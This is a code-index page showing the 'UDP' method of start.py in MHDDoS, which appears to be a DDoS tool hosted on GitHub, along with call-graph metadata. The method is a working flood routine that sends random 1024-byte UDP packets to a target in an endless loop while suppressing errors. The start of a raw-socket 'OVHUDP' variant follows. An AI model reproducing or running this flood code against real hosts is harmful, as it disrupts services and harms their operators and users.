MCPcopy Index your code
hub / github.com/MatrixTM/MHDDoS / UDP

Method UDP

start.py:537–542  ·  view source on GitHub ↗
(self)

Source from the content-addressed store, hash-verified

535 REQUESTS_SENT += 1
536
537 def UDP(self) -> None:
538 s = None
539 with suppress(Exception), socket(AF_INET, SOCK_DGRAM) as s:
540 while Tools.sendto(s, randbytes(1024), self._target):
541 continue
542 Tools.safe_close(s)
543
544 def OVHUDP(self) -> None:
545 with socket(AF_INET, SOCK_RAW, IPPROTO_UDP) as s:

Callers

nothing calls this directly

Calls 2

sendtoMethod · 0.80
safe_closeMethod · 0.80

Tested by

no test coverage detected